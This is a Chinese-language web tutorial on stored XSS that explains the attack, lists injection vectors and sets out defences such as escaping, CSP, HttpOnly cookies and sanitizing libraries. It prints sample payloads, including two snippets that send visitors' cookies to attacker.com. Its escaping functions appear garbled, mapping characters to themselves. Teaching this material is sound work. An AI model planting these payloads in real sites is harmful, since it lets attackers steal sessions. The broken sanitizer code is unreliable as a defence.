存储型 XSS(持久型)
存储型 XSS(持久型)的基本概念
存储型 XSS 是一种恶意脚本被永久存储在目标服务器上的攻击方式。当用户访问包含这些恶意脚本的页面时,脚本会自动执行,导致攻击者可以窃取用户数据、劫持会话或进行其他恶意操作。与反射型 XSS 不同,存储型 XSS 的危害更持久,影响范围更广。
典型的存储型 XSS 攻击场景包括论坛评论、用户资料、商品评价等用户可以提交内容并持久化存储的地方。攻击者提交包含恶意脚本的内容后,所有访问该页面的用户都会受到影响。
存储型 XSS 的工作原理
存储型 XSS 攻击通常遵循以下流程:
- 攻击者发现网站存在未过滤用户输入的存储功能
- 攻击者提交包含恶意脚本的内容(如
<script>alert('XSS')</script>
) - 服务器将这段内容存储在数据库中
- 当其他用户访问包含该内容的页面时,恶意脚本从服务器加载并执行
- 脚本在受害者浏览器中运行,可能窃取 cookie、会话令牌等敏感信息
// 一个简单的存储型 XSS 示例
// 假设这是服务器端存储用户评论的代码
function saveComment(comment) {
// 危险:直接存储未处理的用户输入
database.save({
content: comment,
createdAt: new Date()
});
}
// 攻击者提交的恶意评论
const maliciousComment = `<img src="x" onerror="stealCookies()">`;
saveComment(maliciousComment);
常见的存储型 XSS 攻击载体
存储型 XSS 可以通过多种 HTML 元素和属性实现:
<script>
标签直接执行 JavaScript<img>
标签的 onerror 事件处理器<a>
标签的 href 属性(javascript: 伪协议)<div>
等元素的 style 属性(expression() 等)<iframe>
标签加载外部恶意内容
<!-- 多种存储型 XSS 攻击示例 -->
<script>alert('XSS 1')</script>
<img src="invalid" onerror="alert('XSS 2')">
<a href="javascript:alert('XSS 3')">点击我</a>
<div style="background-image: url(javascript:alert('XSS 4'))"></div>
<iframe src="data:text/html,<script>alert('XSS 5')</script>"></iframe>
存储型 XSS 的危害
存储型 XSS 可能造成多方面危害:
- 会话劫持:窃取用户的会话 cookie,冒充用户身份
- 敏感信息泄露:获取用户隐私数据,如姓名、地址、支付信息
- 网站篡改:修改页面内容,插入虚假信息或恶意链接
- 恶意软件分发:引导用户下载并安装恶意软件
- 键盘记录:记录用户在页面上的输入,包括密码等敏感信息
// 一个窃取 cookie 的 XSS 攻击示例
const maliciousScript = `
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + document.cookie;
document.body.appendChild(img);
`;
// 这段代码会将用户的 cookie 发送到攻击者的服务器
防御存储型 XSS 的策略
输入过滤与验证
对所有用户输入进行严格的过滤和验证:
- 使用白名单机制,只允许特定的 HTML 标签和属性
- 过滤或转义特殊字符(<, >, ", ', & 等)
- 验证输入内容是否符合预期格式(如邮箱、电话号码等)
// 简单的输入过滤函数示例
function sanitizeInput(input) {
return input
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
输出编码
在将用户提供的内容输出到页面时进行适当的编码:
- HTML 上下文使用 HTML 实体编码
- JavaScript 上下文使用 JavaScript 编码
- URL 上下文使用 URL 编码
- CSS 上下文使用 CSS 编码
// 不同上下文的编码示例
function htmlEncode(str) {
return str
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">");
}
function jsEncode(str) {
return str
.replace(/\\/g, "\\\\")
.replace(/'/g, "\\'")
.replace(/"/g, '\\"');
}
使用内容安全策略 (CSP)
通过 CSP 头限制可以执行的脚本来源:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'
这个策略表示:
- 默认只允许从同源加载资源
- 脚本只能从同源或 https://trusted.cdn.com 加载
- 禁止所有插件(object-src 'none')
安全的 Cookie 设置
为 cookie 设置 HttpOnly 和 Secure 标志:
Set-Cookie: sessionid=12345; HttpOnly; Secure; SameSite=Strict
这样设置可以:
- 防止 JavaScript 通过 document.cookie 访问 cookie(HttpOnly)
- 确保 cookie 只通过 HTTPS 传输(Secure)
- 限制 cookie 只能在同一站点发送(SameSite)
现代前端框架中的 XSS 防护
现代前端框架如 React、Vue 和 Angular 提供了一定程度的 XSS 防护:
React 的防护机制
React 会自动转义所有在 JSX 中嵌入的值:
// React 会自动转义用户输入
const userInput = "<script>alert('XSS')</script>";
return <div>{userInput}</div>; // 输出会被转义为文本
但需要注意 dangerouslySetInnerHTML 的使用:
// 危险:可能引入 XSS
const userInput = "<img onerror='alert(\"XSS\")' src='invalid' />";
return <div dangerouslySetInnerHTML={{ __html: userInput }} />;
Vue 的防护机制
Vue 的模板语法和文本插值也会自动转义:
<!-- Vue 自动转义用户输入 -->
<div>{{ userInput }}</div>
使用 v-html 指令时需要谨慎:
<!-- 危险:可能引入 XSS -->
<div v-html="userInput"></div>
Angular 的防护机制
Angular 默认对所有插值进行转义:
<!-- Angular 自动转义用户输入 -->
<div>{{userInput}}</div>
使用 [innerHTML] 绑定时需要特别小心:
<!-- 危险:可能引入 XSS -->
<div [innerHTML]="userInput"></div>
服务器端防御措施
使用专业的清理库
不要自己编写过滤逻辑,使用成熟的库:
- Node.js:
DOMPurify
,xss
- PHP:
htmlspecialchars
,HTML Purifier
- Python:
bleach
- Java:
OWASP Java Encoder
,Jsoup
// 使用 DOMPurify 清理 HTML
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href', 'title']
});
数据库层面的防护
- 将用户输入作为参数化查询的参数,而不是直接拼接 SQL
- 对存储的内容进行标记,区分纯文本和 HTML
- 定期扫描数据库中的可疑内容
// 危险的 SQL 拼接
const query = `INSERT INTO comments (content) VALUES ('${userInput}')`;
// 安全的参数化查询
const query = 'INSERT INTO comments (content) VALUES (?)';
db.execute(query, [userInput]);
实际案例分析
案例一:社交媒体平台的 XSS 攻击
某社交媒体平台允许用户在个人简介中使用有限的 HTML。攻击者发现平台没有正确过滤 style
属性,提交了以下简介:
<div style="background-image: url('javascript:alert(\"XSS\")')"></div>
当其他用户查看攻击者的个人资料时,恶意代码被执行。平台最终通过以下方式修复:
- 严格限制允许的 HTML 标签和属性
- 实现 CSP 策略限制内联 JavaScript
- 对现有用户内容进行批量清理
案例二:电子商务网站的评价系统
某电子商务网站的产品评价系统存在存储型 XSS 漏洞。攻击者在产品评价中插入:
<script>
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
page: location.href
})
});
</script>
这段代码将访问者的 cookie 和当前页面 URL 发送到攻击者的服务器。网站修复措施包括:
- 完全禁止评价中的 HTML 标签
- 将现有评价中的 HTML 标签转换为纯文本
- 为所有 cookie 添加 HttpOnly 标志
自动化检测与持续防护
自动化扫描工具
- 静态应用安全测试 (SAST):分析源代码寻找潜在漏洞
- 动态应用安全测试 (DAST):模拟攻击测试运行中的应用
- 交互式应用安全测试 (IAST):结合运行时分析和静态分析
常用工具:
- OWASP ZAP
- Burp Suite
- Acunetix
- SonarQube
安全编码实践
- 对所有用户输入持怀疑态度
- 实施最小权限原则
- 定期进行安全培训
- 建立代码审查流程,特别关注安全相关代码
- 保持所有依赖项更新,及时修补已知漏洞
// 安全编码示例:使用模板引擎自动转义
const template = Handlebars.compile('<div>{{content}}</div>');
const safeOutput = template({ content: userInput }); // 自动转义
浏览器安全机制与 XSS 防护
现代浏览器提供多种内置安全功能:
- X-XSS-Protection:已弃用,曾用于启用浏览器内置的 XSS 过滤器
- Trusted Types:限制危险的 DOM API,强制进行内容清理
- Subresource Integrity (SRI):确保加载的外部资源未被篡改
<!-- 启用 Trusted Types 策略 -->
Content-Security-Policy: require-trusted-types-for 'script'
// 使用 Trusted Types
if (window.trustedTypes && window.trustedTypes.createPolicy) {
const escapePolicy = trustedTypes.createPolicy('escapePolicy', {
createHTML: str => str.replace(/</g, '<').replace(/>/g, '>')
});
element.innerHTML = escapePolicy.createHTML(userInput);
}
应急响应与漏洞修复
发现存储型 XSS 漏洞后的应对步骤:
- 确认漏洞:验证漏洞是否存在及其影响范围
- 临时缓解:可能的话禁用相关功能或添加额外过滤
- 修复漏洞:实施适当的输入过滤和输出编码
- 清理恶意内容:从数据库中删除或清理恶意代码
- 通知用户:如果敏感信息可能泄露,通知受影响用户
- 事后分析:审查漏洞原因,改进开发流程
// 数据库清理脚本示例(Node.js)
async function cleanXSSInDatabase() {
const comments = await Comment.find({});
for (const comment of comments) {
const cleanContent = DOMPurify.sanitize(comment.content);
if (cleanContent !== comment.content) {
comment.content = cleanContent;
await comment.save();
}
}
}
开发者常见误区
- 前端过滤足够:实际上攻击者可以直接向后端发送恶意数据
- 只过滤
<script>
标签:XSS 可以通过多种 HTML 元素和属性实现 - 依赖黑名单:应该使用白名单机制,因为攻击方式不断演变
- 忽略非主流浏览器:某些旧版或特殊浏览器可能有不同的解析行为
- 忽视第三方库:即使使用框架,不当使用 API 仍可能导致漏洞
// 错误的黑名单过滤示例
function naiveFilter(input) {
// 只过滤 <script> 是不够的
return input.replace(/<script>/gi, '');
}
// 攻击者可以轻松绕过
const attackString = "<img src='x' onerror='maliciousCode()'>";
本站部分内容来自互联网,一切版权均归源网站或源作者所有。
如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn
上一篇:反射型 XSS(非持久型)
下一篇:DOM 型 XSS